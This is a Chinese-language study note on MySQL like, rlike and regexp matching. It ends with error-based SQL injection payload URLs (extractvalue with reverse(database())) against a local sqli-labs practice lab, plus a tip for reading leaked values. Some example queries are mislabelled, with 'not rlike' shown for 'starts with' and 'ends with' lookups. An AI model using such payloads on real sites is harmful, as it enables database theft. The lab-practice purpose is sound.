- 常用的正则有三个,like,rlike和regexp
正则
使用方法
like:
1. 格式是A like B,其中A是字符串,B是表达式,表示能否用B去完全匹配A的内容,返回的结果是True/False。
2. B只能使用简单匹配符号 和%,””表示任意单个字符,字符”%”表示任意数量的字符。
3. like的匹配是按字符逐一匹配的,使用B从A的第一个字符开始匹配,所以即使有一个字符不同也不行。
name like 'zh%';表示匹配以zh开头的
name like '_zh_';表示匹配包含zh的
1、模糊查询字段中包含某关键字的信息。
如:查询所有包含“希望”的信息:select * from student where name rlike '希望'
2、模糊查询某字段中不包含某关键字信息。
如:查询所有包含“希望”的信息:select * from student where name not rlike '希望'
3、模糊查询字段中以某关键字开头的信息。
如:查询所有以“大”开头的信息:select * from student where name not rlike '^大'
4、模糊查询字段中以某关键字结尾的信息。
如:查询所有以“大”结尾的信息:select * from student where name not rlike '大$'
5、模糊匹配或关系,又称分支条件。
如:查询出字段中包含“幸福,幸运,幸好,幸亏”的信息:
select * from student where name rlike '幸福|幸运|幸好|幸亏'
regexp用法类似rlike
^ 匹配输入字符串的开始位置。(前缀)
$ 匹配输入字符串的结束位置。(末尾)
如:regexp('^f'),表示匹配以f开头的字符串,通常加在判定语句的后面
本地测试
./mysql.exe -u root -p
show databases
use test;
show tables
desc user;
select * from user
insert into `user`(`id`,`name`,`sex`)values('1','zhang','m');//注意括号里面是引号不是反引号,不然就会报错
insert into `user`(`id`,`name`,`sex`)values('1','zheng','m'),('1','li','w');
select * from user where name regexp('^zh');
结论
- 测试发现 select * from user where name regexp('^zh');//可以匹配出两个结果,如果平时做题只有一个显错位就加个limit,可以避免group_concat()显示不全,limit又得一点一点翻的问题
- select * from user where name like 'zh%';和上面的语句效果一样
- rlike有一些问题,暂时不用它吧
翻转
http://127.0.0.1/sqli-labs-master/Less-3/?id=1%27)%20and%20extractvalue(null,concat(0x7e,reverse(database()),0x7e))%20--+
这个是可以起作用的
http://127.0.0.1/sqli-labs-master/Less-3/?id=1%27)%20and%20reverse(extractvalue(null,concat(0x7e,database(),0x7e)))%20--+
而这个把命令执行函数也翻转进去了是不起作用的